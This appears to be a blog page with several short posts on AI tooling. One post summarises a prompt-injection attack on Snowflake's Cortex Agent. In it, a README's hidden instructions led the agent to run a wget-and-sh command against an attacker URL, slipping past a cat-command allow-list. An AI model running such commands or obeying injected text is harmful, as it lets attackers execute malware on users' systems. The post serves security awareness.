Simon Willison’s Weblog

Turbo Pascal 3.02A, deconstructed. In Things That Turbo Pascal is Smaller Than James Hague lists things (from 2011) that are larger in size than Borland's 1985 Turbo Pascal 3.02 executable - a 39,731 byte file that somehow included a full text editor IDE and Pascal compiler.

This inspired me to track down a copy of that executable (available as freeware since 2000) and see if Claude could interpret the binary and decompile it for me.

It did a great job, so I had it create this interactive artifact illustrating the result. Here's the sequence of prompts I used (in regular claude.ai chat, not Claude Code):

Read this https://prog21.dadgum.com/116.html

Now find a copy of that binary online

Explore this (I attached the zip file)

Build an artifact - no react - that embeds the full turbo.com binary and displays it in a way that helps understand it - broke into labeled segments for different parts of the application, decompiled to visible source code (I guess assembly?) and with that assembly then reconstructed into readable code with extensive annotations

Update: Annoyingly the Claude share link doesn't show the actual code that Claude executed, but here's the zip file it gave me when I asked to download all of the intermediate files.

I ran Codex CLI with GPT-5.4 xhigh against that zip file to see if it would spot any obvious hallucinations, and it did not. This project is low-enough stakes that this gave me enough confidence to publish the result!

# 11:59 pm / computer-history, tools, ai, generative-ai, llms, claude

Autoresearching Apple’s “LLM in a Flash” to run Qwen 397B locally. Here's a fascinating piece of research by Dan Woods, who managed to get a custom version of Qwen3.5-397B-A17B running at 5.5+ tokens/second on a 48GB MacBook Pro M3 Max despite that model taking up 209GB (120GB quantized) on disk.

Qwen3.5-397B-A17B is a Mixture-of-Experts (MoE) model, which means that each token only needs to run against a subset of the overall model weights. These expert weights can be streamed into memory from SSD, saving them from all needing to be held in RAM at the same time.

Dan used techniques described in Apple's 2023 paper LLM in a flash: Efficient Large Language Model Inference with Limited Memory:

This paper tackles the challenge of efficiently running LLMs that exceed the available DRAM capacity by storing the model parameters in flash memory, but bringing them on demand to DRAM. Our method involves constructing an inference cost model that takes into account the characteristics of flash memory, guiding us to optimize in two critical areas: reducing the volume of data transferred from flash and reading data in larger, more contiguous chunks.

He fed the paper to Claude Code and used a variant of Andrej Karpathy's autoresearch pattern to have Claude run 90 experiments and produce MLX Objective-C and Metal code that ran the model as efficiently as possible.

danveloper/flash-moe has the resulting code plus a PDF paper mostly written by Claude Opus 4.6 describing the experiment in full.

The final model has the experts quantized to 2-bit, but the non-expert parts of the model such as the embedding table and routing matrices are kept at their original precision, adding up to 5.5GB which stays resident in memory while the model is running.

Qwen 3.5 usually runs 10 experts per token, but this setup dropped that to 4 while claiming that the biggest quality drop-off occurred at 3.

It's not clear to me how much the quality of the model results are affected. Claude claimed that "Output quality at 2-bit is indistinguishable from 4-bit for these evaluations", but the description of the evaluations it ran is quite thin.

Update: Dan's latest version upgrades to 4-bit quantization of the experts (209GB on disk, 4.36 tokens/second) after finding that the 2-bit version broke tool calling while 4-bit handles that well.

# 11:56 pm / ai, generative-ai, local-llms, llms, qwen, mlx

Snowflake Cortex AI Escapes Sandbox and Executes Malware (via) PromptArmor report on a prompt injection attack chain in Snowflake's Cortex Agent, now fixed.

The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README.

The attack caused the agent to execute this code:

cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))

Cortex listed cat commands as safe to run without human approval, without protecting against this form of process substitution that can occur in the body of the command.

I've seen allow-lists against command patterns like this in a bunch of different agent tools and I don't trust them at all - they feel inherently unreliable to me.

I'd rather treat agent commands as if they could do anything that process itself is allowed to do, hence my interest in deterministic sandboxes that operate outside of the layer of the agent itself.

# 5:43 pm / sandboxing, security, ai, prompt-injection, generative-ai, llms

Introducing Mistral Small 4. Big new release from Mistral today (despite the name) - a new Apache 2 licensed 119B parameter (Mixture-of-Experts, 6B active) model which they describe like this:

Mistral Small 4 is the first Mistral model to unify the capabilities of our flagship models, Magistral for reasoning, Pixtral for multimodal, and Devstral for agentic coding, into a single, versatile model.

It supports reasoning_effort="none" or reasoning_effort="high", with the latter providing "equivalent verbosity to previous Magistral models".

The new model is 242GB on Hugging Face.

I tried it out via the Mistral API using llm-mistral:

llm install llm-mistral
llm mistral refresh
llm -m mistral/mistral-small-2603 "Generate an SVG of a pelican riding a bicycle"

I couldn't find a way to set the reasoning effort in their API documentation, so hopefully that's a feature which will land soon.

Update 23rd March: Here's new documentation for the reasoning_effort parameter.

Also from Mistral today and fitting their -stral naming convention is Leanstral, an open weight model that is specifically tuned to help output the Lean 4 formally verifiable coding language. I haven't explored Lean at all so I have no way to credibly evaluate this, but it's interesting to see them target one specific language in this way.

# 11:41 pm / ai, generative-ai, llms, llm, mistral, pelican-riding-a-bicycle, llm-reasoning, llm-release

Use subagents and custom agents in Codex (via) Subagents were announced in general availability today for OpenAI Codex, after several weeks of preview behind a feature flag.

They're very similar to the Claude Code implementation, with default subagents for "explorer", "worker" and "default". It's unclear to me what the difference between "worker" and "default" is but based on their CSV example I think "worker" is intended for running large numbers of small tasks in parallel.

Codex also lets you define custom agents as TOML files in ~/.codex/agents/. These can have custom instructions and be assigned to use specific models - including gpt-5.3-codex-spark if you want some raw speed. They can then be referenced by name, as demonstrated by this example prompt from the documentation:

Investigate why the settings modal fails to save. Have browser_debugger reproduce it, code_mapper trace the responsible code path, and ui_fixer implement the smallest fix once the failure mode is clear.

The subagents pattern is widely supported in coding agents now. Here's documentation across a number of different platforms:

• OpenAI Codex subagents
• Claude Code subagents
• Gemini CLI subagents (experimental)
• Mistral Vibe subagents
• OpenCode agents
• Subagents in Visual Studio Code
• Cursor Subagents

Update: I added a chapter on Subagents to my Agentic Engineering Patterns guide.

# 11:03 pm / ai, openai, generative-ai, llms, coding-agents, codex-cli, parallel-agents, agentic-engineering